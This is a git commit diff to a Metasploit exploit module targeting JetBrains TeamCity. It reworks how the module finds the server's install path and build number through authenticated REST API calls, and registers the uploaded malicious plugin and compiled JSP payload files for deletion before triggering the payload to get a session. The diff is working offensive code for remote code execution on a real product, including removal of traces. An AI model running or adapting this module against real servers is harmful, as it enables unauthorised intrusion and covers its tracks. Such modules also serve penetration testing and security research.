rework some of the cleanup logic

This commit is contained in:
sfewer-r7
2024-02-16 15:31:07 +00:00
parent 04d501a7a7
commit 32ed8eeedf
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
# ['CVE', '2024-12345'],
@@ -68,9 +68,9 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown('Connection failed') unless res
json_data = res.get_xml_document
xml_data = res.get_xml_document
server_data = json_data.at('server')
server_data = xml_data.at('server')
version = "JetBrains TeamCity #{server_data.attr('version')}"
@@ -206,7 +206,33 @@ class MetasploitModule < Msf::Exploit::Remote
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
#
# 6. Trigger the payload and get a session.
# 6. Begin to clean up, register several paths for cleanup.
#
if (install_path, sep = get_install_path(token_value))
vprint_status("Target install path: #{install_path}")
# The payload plugin will have its buildServerResources extracted to a path like:
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
# So we register this for cleanup.
# Note: The java process may recreate this a second time after we delete it.
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
if (build_number = get_build_number(token_value))
vprint_status("Target build number: #{build_number}")
# The Tomcat web server will compile our JSP payload and store the associated .class files in a path like:
# C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
# So we register this for cleanup too.
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
else
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
end
else
print_warning('Could not discover install path. Unable to register files for cleanup.')
end
#
# 7. Trigger the payload and get a session.
#
res = send_request_cgi(
'method' => 'GET',
@@ -219,48 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
end
#
# 7.Begin to clean up, we need to discover the TeamCity installation folder
#
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
'headers' => {
'Authorization' => "Bearer #{token_value}"
}
)
if res&.code == 200
plugins_xml = res.get_xml_document
restapi_data = plugins_xml.at("//plugin[@name='rest-api']")
restapi_load_path = restapi_data&.attr('loadPath')
if restapi_load_path
# Look for the Windows :\ part of a path, e.g. C:\TeamCity to determine if target is Windows based.
sep = restapi_load_path.include?(':\\') ? '\\' : '/'
# Pull out the path of a known plugin (we know rest-api is loaded as we are using it), e.g.:
# C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api
# And transform the path into the folder our payload plugin extracted to, e.g.:
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
restapi_load_path.gsub!('WEB-INF', '')
restapi_load_path.gsub!('rest-api', plugin_name)
# Reduce and double separators to single separators, e.g. foo\\bar becomes foo\bar
restapi_load_path.gsub!("#{sep}#{sep}", sep)
register_file_for_cleanup("#{restapi_load_path}#{sep}#{plugin_name}.jsp")
register_dir_for_cleanup(restapi_load_path)
else
print_warning('Could not rest-api plugin paths. Unable to register files for cleanup.')
end
else
print_warning('Could not discover plugin paths. Unable to register files for cleanup.')
end
ensure
#
# 8. Ensure we delete the plugin from the server when we are finished.
@@ -279,6 +263,69 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def get_install_path(token_value)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
'headers' => {
'Authorization' => "Bearer #{token_value}"
}
)
unless res&.code == 200
print_warning('Failed to request plugins information.')
return nil
end
plugins_xml = res.get_xml_document
restapi_data = plugins_xml.at("//plugin[@name='rest-api']")
restapi_load_path = restapi_data&.attr('loadPath')
if restapi_load_path.nil?
print_warning('Failed to extract plugin loadPath.')
return nil
end
# C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api
platforms = {
'\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\',
'/webapps/ROOT/WEB-INF/plugins/' => '/'
}
platforms.each do |path, sep|
if (pos = restapi_load_path.index(path))
return [restapi_load_path[0, pos], sep]
end
end
print_warning('Failed to extract install path.')
nil
end
def get_build_number(token_value)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
'headers' => {
'Authorization' => "Bearer #{token_value}"
}
)
unless res&.code == 200
print_warning('Failed to request server information.')
return nil
end
xml_data = res.get_xml_document
server_data = xml_data.at('server')
server_data.attr('buildNumber')
end
def get_plugin_uuid(token_value, plugin_name)
res = send_request_cgi(
'method' => 'GET',